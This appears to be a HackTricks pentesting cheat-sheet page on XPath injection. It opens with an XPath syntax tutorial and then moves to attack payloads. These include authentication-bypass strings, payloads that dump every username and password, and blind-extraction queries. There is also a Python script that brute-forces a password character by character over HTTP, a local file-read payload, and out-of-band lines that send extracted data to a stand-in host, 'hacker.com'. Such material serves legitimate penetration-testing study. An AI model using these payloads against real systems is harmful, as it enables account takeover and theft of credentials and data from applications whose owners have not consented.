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362 lines
18 KiB
Markdown
# XPATH injection
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
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<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
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Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
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**Hacking Insights**\
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Engage with content that delves into the thrill and challenges of hacking
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**Real-Time Hack News**\
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Keep up-to-date with fast-paced hacking world through real-time news and insights
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**Latest Announcements**\
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Stay informed with the newest bug bounties launching and crucial platform updates
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**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
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## **Basic Syntax**
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XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.
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Info about how to make queries: [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
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### Nodes
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| Expression | Description |
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| ---------- | ----------------------------------------------------------------------------------------------------- |
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| nodename | Selects all nodes with the name "nodename" |
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| / | Selects from the root node |
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| // | Selects nodes in the document from the current node that match the selection no matter where they are |
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| . | Selects the current node |
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| .. | Selects the parent of the current node |
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| @ | Selects attributes |
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### **Examples:**
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| Path Expression | Result |
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| --------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
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| bookstore | Selects all nodes with the name "bookstore" |
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| /bookstore | Selects the root element bookstore**Note:** If the path starts with a slash ( / ) it always represents an absolute path to an element! |
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| bookstore/book | Selects all book elements that are children of bookstore |
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| //book | Selects all book elements no matter where they are in the document |
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| bookstore//book | Selects all book elements that are descendant of the bookstore element, no matter where they are under the bookstore element |
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| //@lang | Selects all attributes that are named lang |
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### Predicates
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| Path Expression | Result |
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| ----------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
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| /bookstore/book\[1] | <p>Selects the first book element that is the child of the bookstore element.<strong>Note:</strong> In IE 5,6,7,8,9 first node is[0], but according to W3C, it is [1]. To solve this problem in IE, set the SelectionLanguage to XPath:</p><p>In JavaScript: xml.setProperty("SelectionLanguage","XPath");</p> |
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| /bookstore/book\[last()] | Selects the last book element that is the child of the bookstore element |
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| /bookstore/book\[last()-1] | Selects the last but one book element that is the child of the bookstore element |
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| /bookstore/book\[position()<3] | Selects the first two book elements that are children of the bookstore element |
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| //title\[@lang] | Selects all the title elements that have an attribute named lang |
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| //title\[@lang='en'] | Selects all the title elements that have a "lang" attribute with a value of "en" |
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| /bookstore/book\[price>35.00] | Selects all the book elements of the bookstore element that have a price element with a value greater than 35.00 |
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| /bookstore/book\[price>35.00]/title | Selects all the title elements of the book elements of the bookstore element that have a price element with a value greater than 35.00 |
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### Unknown Nodes
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| Wildcard | Description |
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| -------- | ---------------------------- |
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| \* | Matches any element node |
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| @\* | Matches any attribute node |
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| node() | Matches any node of any kind |
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### **Examples:**
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| Path Expression | Result |
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| --------------- | ------------------------------------------------------------------------ |
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| /bookstore/\* | Selects all the child element nodes of the bookstore element |
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| //\* | Selects all elements in the document |
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| //title\[@\*] | Selects all title elements which have at least one attribute of any kind |
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<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
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<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
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Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
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**Hacking Insights**\
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Engage with content that delves into the thrill and challenges of hacking
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**Real-Time Hack News**\
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Keep up-to-date with fast-paced hacking world through real-time news and insights
|
|
|
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**Latest Announcements**\
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Stay informed with the newest bug bounties launching and crucial platform updates
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**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
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## Example
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```markup
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<data>
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<user>
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<name>pepe</name>
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<password>peponcio</password>
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<account>admin</account>
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</user>
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<user>
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<name>mark</name>
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<password>m12345</password>
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<account>regular</account>
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</user>
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<user>
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<name>fino</name>
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<password>fino2</password>
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<account>regular</account>
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</user>
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</data>
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```
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### Access the information
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```
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All names - [pepe, mark, fino]
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name
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//name
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//name/node()
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//name/child::node()
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user/name
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user//name
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/user/name
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//user/name
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All values - [pepe, peponcio, admin, mark, ...]
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//user/node()
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//user/child::node()
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Positions
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//user[position()=1]/name #pepe
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//user[last()-1]/name #mark
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//user[position()=1]/child::node()[position()=2] #peponcio (password)
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Functions
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count(//user/node()) #3*3 = 9 (count all values)
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string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
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substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
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```
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### Identify & stealing the schema
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```python
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and count(/*) = 1 #root
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and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
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and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
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and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
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and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
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and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
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and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
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and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
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and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
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#The previous solutions are the representation of a schema like the following
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#(at this stage we don't know the name of the tags, but jus the schema)
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<root>
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<a>
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<b></b>
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</a>
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<c>
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<d></d>
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<e></e>
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<f>
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<h></h>
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</f>
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</c>
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</root>
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and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
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and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
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and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
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#Stealing the schema via OOB
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doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
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doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
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```
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## Authentication Bypass
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### **Example of queries:**
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```
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string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
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$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
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```
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### **OR bypass in user and password (same value in both)**
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```
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' or '1'='1
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" or "1"="1
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' or ''='
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" or ""="
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string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
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Select account
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Select the account using the username and use one of the previous values in the password field
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```
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### **Abusing null injection**
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```
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Username: ' or 1]%00
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```
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### **Double OR in Username or in password** (is valid with only 1 vulnerable field)
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IMPORTANT: Notice that the **"and" is the first operation made**.
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```
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Bypass with first match
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(This requests are also valid without spaces)
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' or /* or '
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' or "a" or '
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' or 1 or '
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' or true() or '
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string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
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Select account
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'or string-length(name(.))<10 or' #Select account with length(name)<10
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'or contains(name,'adm') or' #Select first account having "adm" in the name
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'or contains(.,'adm') or' #Select first account having "adm" in the current value
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'or position()=2 or' #Select 2º account
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string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
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Select account (name known)
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admin' or '
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admin' or '1'='2
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string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
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```
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## String extraction
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The output contains strings and the user can manipulate the values to search:
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```
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/user/username[contains(., '+VALUE+')]
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```
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```
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') or 1=1 or (' #Get all names
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') or 1=1] | //user/password[('')=(' #Get all names and passwords
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') or 2=1] | //user/node()[('')=(' #Get all values
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')] | //./node()[('')=(' #Get all values
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')] | //node()[('')=(' #Get all values
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') or 1=1] | //user/password[('')=(' #Get all names and passwords
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')] | //password%00 #All names and passwords (abusing null injection)
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')]/../*[3][text()!=(' #All the passwords
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')] | //user/*[1] | a[(' #The ID of all users
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')] | //user/*[2] | a[(' #The name of all users
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')] | //user/*[3] | a[(' #The password of all users
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')] | //user/*[4] | a[(' #The account of all users
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```
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## Blind Explotation
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### **Get length of a value and extract it by comparisons:**
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```bash
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' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
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' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
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substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
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... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
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```
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### **Python Example**
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```python
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import requests, string
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flag = ""
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l = 0
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alphabet = string.ascii_letters + string.digits + "{}_()"
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for i in range(30):
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r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
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if ("TRUE_COND" in r.text):
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l = i
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break
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print("[+] Password length: " + str(l))
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for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
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for al in alphabet:
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r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
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if ("TRUE_COND" in r.text):
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flag += al
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print("[+] Flag: " + flag)
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break
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```
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### Read file
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```python
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(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
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```
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## OOB Exploitation
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```python
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doc(concat("http://hacker.com/oob/", RESULTS))
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doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
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doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
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#Instead of doc() you can use the function doc-available
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doc-available(concat("http://hacker.com/oob/", RESULTS))
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#the doc available will respond true or false depending if the doc exists,
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#user not(doc-available(...)) to invert the result if you need to
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```
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### Automatic tool
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{% embed url="https://xcat.readthedocs.io/" %}
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## References
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{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}
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<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
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<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
|
|
|
**Hacking Insights**\
|
|
Engage with content that delves into the thrill and challenges of hacking
|
|
|
|
**Real-Time Hack News**\
|
|
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
|
|
|
**Latest Announcements**\
|
|
Stay informed with the newest bug bounties launching and crucial platform updates
|
|
|
|
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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